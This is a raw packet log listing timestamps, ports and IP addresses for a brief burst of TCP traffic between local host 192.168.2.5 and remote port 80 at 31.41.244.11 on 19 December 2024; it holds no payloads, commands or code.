Dec 19, 2024 03:09:31.309118986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.309178114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.309240103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.309283018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.312258959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.312308073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.312355042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.312393904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.315387964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.315444946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.315484047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.315522909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.319890022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.319905996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.319956064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.322832108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.322892904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.322998047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.323041916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.324745893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.324791908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.324861050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.324902058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.327821970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.327869892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.327919006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.328102112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.330925941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.330981016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.331028938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.331073046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.334059000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.334106922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.334170103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.334213018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.337347984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.337397099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.337471962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.337515116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.340289116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.340354919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.340399027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.340440989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.343401909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.343446016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.343496084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.343539000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.346543074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.346601963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.346652985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.346693039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.350265980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.350281000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.350315094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.350341082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.353053093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.353101969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.353172064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.353215933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.355988026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.356040001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.356081963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.356123924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.363178015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.363224983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.363275051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.363325119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.366075993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.366092920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.366107941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.366123915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.366137981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.366175890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.368663073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.368707895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.368808985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.368850946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.371428967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.371500015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.371545076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.371593952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.374671936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.374722004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.375061035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.375106096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.377832890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.377883911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.447472095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.447577000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.447659969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.447802067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.449651957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.449703932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.449820042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.449861050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.452079058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.452127934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.452233076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.452277899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.453869104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.453921080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.454027891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.454071999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.455790043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.455836058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.455871105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.455899000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.457829952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.457887888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.457966089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.458009005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.460340023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.460400105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.460453987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.460498095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.462475061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.462532043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.462594986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.462642908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.464766026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.464828014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.464848042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.464894056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.466967106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.467056036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.467096090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.467140913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.469458103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.469515085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.469556093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.469702005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.471388102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.471447945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.471491098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.471538067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.473526955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.473583937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.473618984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.473664999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.475676060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.475740910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.475775003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.475820065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.477968931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.478055000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.478079081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.478131056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.479872942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.479932070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.479979038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.480031013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.481940031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.482004881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.482053041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.482096910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.484014988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.484076977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.484144926 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.484196901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.486469984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.486530066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.486532927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.486578941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.488509893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.488590002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.488607883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.488660097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.491086960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.491152048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.491219997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.491274118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.492924929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.492988110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.493035078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.493084908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.494978905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.495048046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.495052099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.495096922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.496449947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.496515989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.496551037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.496601105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.499216080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.499308109 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.499375105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.499440908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.499927044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.499989986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.500036955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.500092030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.502084017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.502150059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.502197981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.502262115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.503926039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.503998041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.504045963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.504100084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.505669117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.505737066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.505765915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.505820036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.507579088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.507644892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.507716894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.507770061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.509475946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.509558916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.509588003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.509640932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.511399984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.511465073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.511535883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.511586905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.513330936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.513391972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.513433933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.513484955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.515310049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.515384912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.515448093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.515501022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.517215967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.517282009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.517319918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.517375946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.519213915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.519274950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.519359112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.519411087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.521258116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.521325111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.521364927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.521424055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.523308039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.523372889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.523372889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.523417950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.524826050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.524888992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.524935007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.524981022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.526905060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.526968956 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.527009964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.527060986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.529253960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.529311895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.529371023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.529413939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.530566931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.530620098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.530694962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.530736923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.532366991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.532447100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.532495022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.532540083 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.534301043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.534356117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.534404039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.534444094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.536273956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.536331892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.536369085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.536416054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.538197041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.538254976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.538271904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.538321972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.540112972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.540169001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.540209055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.540255070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.542124033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.542186975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.542258024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.542303085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.543919086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.543998957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.544039011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.544085979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.545787096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.545855999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.545882940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.545934916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.547782898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.547840118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.547909021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.547956944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.550035000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.550088882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.550143003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.550188065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.551464081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.551515102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.642122030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.642199993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.642328978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.642441988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.642739058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.642786026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.642827034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.642880917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.643949032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.644010067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.644229889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.644279957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.645646095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.645720959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.645953894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.646008015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.647104979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.647166014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.647274017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.647349119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.648078918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.648135900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.648217916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.648924112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.648987055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.649015903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.649069071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.649938107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.650000095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.650048018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.650096893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.651017904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.651077986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.651326895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.651376963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.652373075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.652390003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.652427912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.652460098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.653508902 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.653562069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.653652906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.653704882 CET	49885	80	192.168.2.5	31.41.244.11
